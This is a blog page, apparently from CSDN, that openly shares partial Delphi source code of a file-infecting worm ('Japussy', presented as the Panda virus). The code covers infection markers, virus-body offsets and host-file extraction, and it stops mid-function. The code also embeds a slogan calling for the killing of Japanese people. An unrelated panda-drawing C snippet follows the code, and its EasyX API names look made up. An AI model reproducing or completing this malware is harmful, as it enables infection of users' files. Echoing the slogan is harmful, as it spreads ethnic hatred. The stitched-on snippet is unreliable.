熊猫源码(不是很全,大体框架是有的)小时候一直想做的一个东西哈哈哈

本文提供了一段疑似熊猫烧香病毒的Delphi源码,展示了病毒如何感染PE文件、发送带毒邮件及破坏特定类型的文件。源码中包含提取主图标、填充病毒体、遍历磁盘文件并感染的函数。同时,文中提到可以使用CMD命令`shutdown -a`来取消计算机的倒计时关机,提示反病毒措施。
摘要由CSDN通过智能技术生成

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8; //PE文件主图标的大小–744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = 444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ’ +
'If a country need to be destroyed, it must be Japan! ’ +
‘*** W32.Japussy.Worm.A ***’;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stDCall; external ‘Kernel32.dll’; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部

在C语言中,绘制图形通常需要一些图形库的支持,如简单游戏引擎EasyX。EasyX是一个轻量级的2D游戏引擎,提供了一套简单的接口用于窗口创建、图形绘制等操作。如果你用EasyX画一只熊猫,首先需要安装EasyX库,并了解基本的精灵(Sprite)和颜色处理。 以下是一个简单的步骤和代码片段: 1. 安装EasyX:你需要从其官网下载并包含EasyX库到你的项目中。 2. 初始化 EasyX:设置窗口大小和背景色。 ```c #include <easyx.h> ... int main() { EXY_Init("Panda", 640, 480); // 初始化窗口为640x480像素,标题为"Panda" SetBkColor(RGB(255, 255, 255)); // 设置白色背景 } ``` 3. 加载熊猫图片资源:假设你有一个名为"panda.png"的位图文件,需要加载作为精灵。 ```c EY_Sprite panda; // 创建精灵对象 if (!LoadImage(&panda, "panda.png")) { // 加载熊猫图片 ... 处理错误 ... } ``` 4. 绘制熊猫:使用精灵对象的位置和大小绘制熊猫。 ```c void DrawPanda(int x, int y) { DrawSprite(&panda, x, y); // 在(x, y)坐标位置绘制熊猫 } ``` 5. 游戏循环中更新和绘制熊猫: ```c while (IsGameLoop()) { if (IsKeyDown(K_LEFT)) { // 如果左键按下,移动熊猫 DrawPanda(x - 10, y); } else if (IsKeyDown(K_RIGHT)) { DrawPanda(x + 10, y); } // 更改x值根据按键移动 Update(); // 更新游戏状态 Render(); // 刷新屏幕 } ``` 注意这只是一个非常基础的例子,实际绘画可能需要考虑更多的细节,比如缩放、旋转、动画帧等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值